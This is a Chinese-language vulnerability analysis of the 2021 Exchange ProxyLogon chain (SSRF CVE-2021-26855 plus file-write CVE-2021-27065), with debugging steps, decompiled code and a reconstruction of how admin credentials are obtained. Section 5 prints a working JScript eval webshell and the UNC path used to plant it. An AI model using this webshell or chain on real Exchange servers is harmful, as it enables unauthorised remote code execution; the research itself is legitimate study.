STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1 简介
近期,微软Exchange邮件服务器的⾼危安全漏洞引起了安全圈的普遍关注,主要包括的漏洞类型和CVE 编号如下所示:
· CVE-2021–26855 SSRF
· CVE-2021–26857 反序列化
· CVE-2021–26858 任意⽂件写⼊
· CVE-2021–27065 任意⽂件写⼊
其中CVE-2021–26855是⼀个SSRF,攻击者可以不经过任何类型的身份验证来利⽤此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是⼀个任意⽂件写⼊漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写⼊,属于⾮常⾼危的安全漏洞。

在本⽂中,我们⾸先介绍了Exchange处理请求的流程和对其调试⽅法;接下来具体分析了CVE-2021–26855与CVE-2021–27065漏洞原理,最后较为详细的描述了漏洞相关的ProxyLogon接⼝部分的详细验证过程。四个安全漏洞的利⽤过程示意图如上所示[10]。
No.2 Exchange处理请求流程
Exchange系统的服务架构如下图所示,由前端和多个后端组件组成。⽤户基于各类协议对Exchange的前端发起请求,前端解析请求后会将其转发到后端相对应的服务当中。以基于HTTP/HTTPS协议的访问为例,来⾃Outlook或Web客户端的请求会⾸先经过IIS,然后进⼊到Exchange的HTTP代理,代理根据请求类型将HTTP请求转发到不同的后端组件中。整个处理流程如下图所示[11]:

No.3 调试⽅法
相关分析⽂章⼀般只分析了漏洞的原理,却忽略了介绍如何调试代码的⽅法,由于对.NET框架的调试相对来说⽐较复杂,所以⾸先介绍⼀下我们的调试⽅法。
调试⼯具--dnspy
dnspy是⼀个.NET反汇编和调试编辑器[1]。它可以对基于.NET框架编写的动态链接库(.dll)进⾏反编译,让我们清楚地查看代码逻辑和结构。同时可以让我们在没有源代码的情况,对程序进⾏下断点调试。
静态分析
通过dnspy可以直接对dll库进⾏逆向,直接打开被调试⽂件即可,⼗分⽅便。 对于Exchange的漏洞, 我们⽤到的最关键的dll库为 Miscrosoft.Exchange.FrontEndProxy.dll ,这个库中包含了Exchange将前端请求转发到后端的过程。

不过由于整个Http请求还经过了⼀些不包含在Exchange内的运⾏库(如.Net⾃带的System.Web库), 仅凭静态分析⽆法跟⼊这些库中,因此还需要动态调试。
动态调试
通过dnspy的附加到进程功能,我们可以动态调试.NET程序。然⽽由于Exchange程序逻辑极其复杂,相关进程较多,如何从复杂的进程中找到被调试的进程是⼀个难点。
⾸先通过IIS管理器可以查看当前服务器的应⽤程序池,其中Exchange的应⽤程序池以 MSExchange为开头。

随后查看IIS服务相关的所有进程。进⼊C:\Windows\System32\inetsrv,执⾏appcmd list wp ,可以查看进程名和进程号。

经过测试,applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程。于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进⾏调试了。

No.4 CVE-2021–26855
CVE-2021-26855是⼀个SSRF漏洞。恶意⽤户可以在远程绕过安全验证向任意端⼝发送数据。 研究⼈员对补丁前后的dll库进⾏diff,发现在Microsoft.Exchange.FrontEndHttpProxy的BEResourceRequestHandler类中,新增了 ShouldBackendRequestAnonymous ⽅法[2]。因此我们可以从这个类⼊⼿。

BEResourceRequestHandler是⼀个⽤于处理向后端进⾏资源型请求的类,如请求js,png,css⽂件等。它在函数SelectHandlerForUnauthenticatedRequest中被引⽤,⽽要创建这个类的实例,⾸先需要函数BEResourceRequestHandler.CanHandle()返回True。

分析CanHandle函数,可以发现返回True需要以下两个条件:
· HTTP请求的Cookie中含有X-BEResource键;
· 请求应是资源型请求,即请求的⽂件后缀应为规定的⽂件类型。

privatestaticstringGetBEResouceCookie(HttpRequesthttpRequest)
{
stringresult=null;
HttpCookiehttpCookie=httpRequest.Cookies[Constants.BEResource];
if (httpCookie!=null)
{
result = httpCookie.Value;
}
return result;
}
public static bool IsResourceRequest(string localPath) {
ArgumentValidator.ThrowIfNull("localPath", localPath);
return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".crx", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".css", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".eot", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".gif", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".js", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".htm", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".html", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".ico", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".manifest", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".mp3", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".msi", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".png", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".svg", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".ttf", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".wav", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".woff", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) ||
localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
}
SelectHandlerForUnauthenticatedRequest函数在OnPostAuthorizeInternal中被调⽤。 httpHandler会被设置为BEResourceRequestHandler的⼀个实例,由于BEResourceRequestHandler继承于ProxyRequstHandler,因此会进⼊((ProxyRequestHandler)httpHandler).Run(context),并最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler,即是context.Handler。

接下来,进⼊System.Web.HttpApplication中CallHandlerExecutionStep接⼝的HttpApplication.IExecutionStep.Execute()函数。⾸先,从context.Handler获取handler ,即我们之前提到的BEResourceRequestHandler,由于BEResourceRequestHandler继承与ProxyRequestHandler类,⽽该类⼜继承了IHttpAsyncHandler类,因此会进⼊到如下图所示的if分⽀当中,并在图中的3872⾏调⽤ProxyRequestHandler.BeginProcessRequest()函数。

接下来,在ProxyRequestHandler.BeginProcessRequest中会调⽤ProxyRequestHandler.BeginCalculateTargetBackEnd, 在ProxyRequestHandler.BeginCalculateTargetBackEnd中调⽤ProxyRequestHandler.InternalBeginCalculateTargetBackEnd,最终进⼊到BEResourceRequestHandler.ResolveAnchorMailbox。BEResourceRequestHandler.ResolveAnchorMailbox函数会调⽤BEResourceRequestHandler.GetBEResouceCookie获取键X-BEResource的值,然后将其传⼊BackEndServer.FromString中。

在BackEndServer.FromString函数中,⾸先根据~将X-BEResource的值分割为两部分,前⼀部分作为fqdn,后⼀部分则是version的值。

函数继续执⾏,经过⼀系列函数调⽤:后端服务器的⽬标FQDN计算完后调⽤OnCalculateTargetBackEndCompleted函数,该函数⼜调⽤InternalOnCalculateTargetBackEndCompleted函数,紧接着调⽤ BeginValidateBackendServerCacheOrProxyOrRecalculate函数,然后调⽤BeginProxyRequestOrRecalculate函数,最终进⼊到BeginProxyRequest函数中。其中调⽤GetTargetBackendServerUrl函数获取向backend转发请求的URL。

GetTargetBackendServerUrl中将调⽤GetClientUrlForProxy函数构造发起请求的URL。

最终调⽤ProxyRequestHandler.CreateServerRequest(uri)向backend发起请求。

以上即是SSRF漏洞的整个流程。
No.5 CVE-2021–27065
CVE-2021–27065是⼀个任意⽂件写⼊漏洞,相⽐于CVE-2021–26855简单得多。 ⾸先需要⼀个管理员账号,进⼊Servers->Virtual Directories->OAB

编辑OAB配置,在外部链接中写⼊shell并保存。
http://aaa/<script language="JScript" runat="server">function Page_Load()
{eval(Request["orange"],"unsafe");}</script>

接下来输⼊⽂件路径并重置。
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx

shell即可成功写⼊。

No.6 两者配合写⼊shell
由于漏洞内容较为敏感,⼤部分⽂章到这⾥的分析很少。我们通过对协议分析以及⾃⼰的理解,还原了proxylogon的技术细节。
获取LegacyDN
Autodiscover是Exchange中的⼀个服务,该服务可以帮助客户端(例如Outlook)以最少的⽤户输⼊来进⾏电⼦邮箱的配置。因为在前⽂提到的SSRF中需要获知后端服务器即Exchange服务器的FQDN,因此可以利⽤该服务。
Autodiscover的请求格式可以在官⽅⽂档[6]中找到。
<Autodiscover
xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema
/2006">
<Request>
<EMailAddress>Administrator@exploittest.xyz</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/ou
tlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

获取SID
消息处理API(MAPI)是Outlook⽤于接收和发送电⼦邮件相关信息的API,在Exchange 2016以及2019当中,微软⼜为其加⼊了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利⽤MAPI进⾏通信。整个MAPI over HTTP的协议标准可以在官⽅⽂档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利⽤了⽤于发起⼀个新会话的Connect类型请求。

⼀个正常的Connect类型请求如图所示[5],包含UserDn等多个字段,其中UserDn指的是⽤户在该域中的专有名称(Distinguish Name),该字段已被我们通过上⼀步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx⽅法执⾏。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从⽽达到了⽬的。

各个字段的具体含义如下图所示[5]。

获取管理员登陆凭证
通过Burpsuite拦截数据包可以看到,exploit利⽤SSRF漏洞访问了Exchange后端的/ecp/proxyLogon.ecp路径,从响应中得到了ASP.NET_SessionId以及msExchEcpCanary两个Cookie,根据Cookie的键名我们可以得知这两个Cookie分别对应会话ID以及⽤户的登录凭证。

为了了解它们是如何⽣成的,我们查看IIS管理器,可以找到 ecp 的后端.NET应⽤程序物理路径。

在该物理路径下的.NET应⽤配置⽂件web.config中定义了不同路径的HTTP请求对应的处理函数,检索可知路径proxyLogon.ecp是由ProxyLogonHandler来处理的,然⽽对相应的dll进⾏反编译后发现该Handler仅修改了HTTP响应的状态码。

最终通过调试后发现,真正与msExchEcpCanary以及ASP.NET_SessionId相关的代码是在类RbacModule中的,通过web.config可以看到RbacModule作为应⽤的其中⼀个模块⽤于处理HTTP请求。

在该模块中由函数Application_PostAuthenticateRequest具体实现对HTTP请求的解析。相关关键代码如下,⾸先函数根据httpContext⽣成AuthenticationSettings实例。

在AuthenticationSettings的构造函数中,由于所有的if语句均不满⾜,函数会根据context⽣成 ⼀个RbacSettings实例,并赋值给⾃⼰的Session属性。

⽽在RbacSettings的构造函数中,函数会判断请求路径是否以/proxyLogon.ecp结尾,若是则进⼊下⽅的if分⽀,利⽤请求数据创建SerializedAccessToken实例。

分析SerializedAccessToken类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为r,根节点的at属性对应访问令牌中的认证类型、ln属性对应访问令牌中的登录名称;根节点的⼦ 节点为SID节点,节点名字为s,当中的属性t对应SID类型,属性 a 对应SID属性,节点中的⽂本为SID。其序列化函数定义如下,可以看到令牌⼤致与Windows中的安全访问令牌内容相似。

随后构造函数根据请求头部的msExchLogonMailbox字段以及logonUserIdentity变量调 ⽤GetInboundProxyCaller函数获取该代理请求的发起服务器。若返回结果不为空则调 ⽤EcpLogonInformation.Create函数创建⼀个EcpLogonInformation实例,再⽤该实例创建⼀ 个EcpIdentity实例。

Create函数⾸先根据logonMailboxSddlSid⽣成安全标识符实例,然后根据proxySecurityAccessToken参数⽣成SerialzedIdentity实例,并最后⽣成EcpLogonInformation实例。⽽根据名称可知logonUserIdentity定义了登⼊⽤户的权限,因⽽我们能够得到任意SID对应⽤户的权限。

之后程序回到RbacSettings的构造函数中,在响应中添加ASP.NET_SessionId Cookie。

程序接下来返回到RbacModule的函数中,在AuthenticationSettings实例⽣成后其Session属性 被赋值给httpContext.User,并进⼊if分⽀调⽤CheckCanary函数。

CheckCanary函数⼜将调⽤如下所示的SendCanary函数,该函数⾸先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则⽣成⼀个新的Canary并将其加⼊到响应的Cookie中。从⽽我们能够构造满⾜要求的请求通过SSRF访问 ecp/proxyLogon.ecp获得管理员的凭证。

写shell
最后根据CVE-2021–27065发送的请求包构造请求,即可成功写⼊shell,不再赘述。
· 查看OAB配置

· 保存外部链接

· 重置

· 最终成功写⼊结果

No.7 总结
Exchange的架构设计中不允许⽤户直接访问后端,⽽是要通过前端服务作为代理来进⾏访问。然⽽,前端在处理代理请求的过程中由于对特定Cookie的内容没有进⾏充分检查,导致攻击者最终能够实现服务端请求伪造。在能够对后端服务发起请求后,攻击者⼜利⽤了后端管理服务没有对⽂件类型进⾏检查的漏洞,构造恶意输⼊以及恶意⽂件后缀名实现了WebShell的写⼊。
No.8 参考⽂献
【1】https://github.com/dnSpy/dnSpy
【2】https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFth%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265
【3】https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
【4】https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
【5】https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/%5bMS-OXCMAPIHTTP%5d.pdf
【6】https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/%5bMS-OXDSCLI%5d.pdf
【7】https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
【8】https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
【9】 https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/
【10】https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/
【11】https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2016
RECRUITMENT
招聘启事
END



长按识别二维码关注我们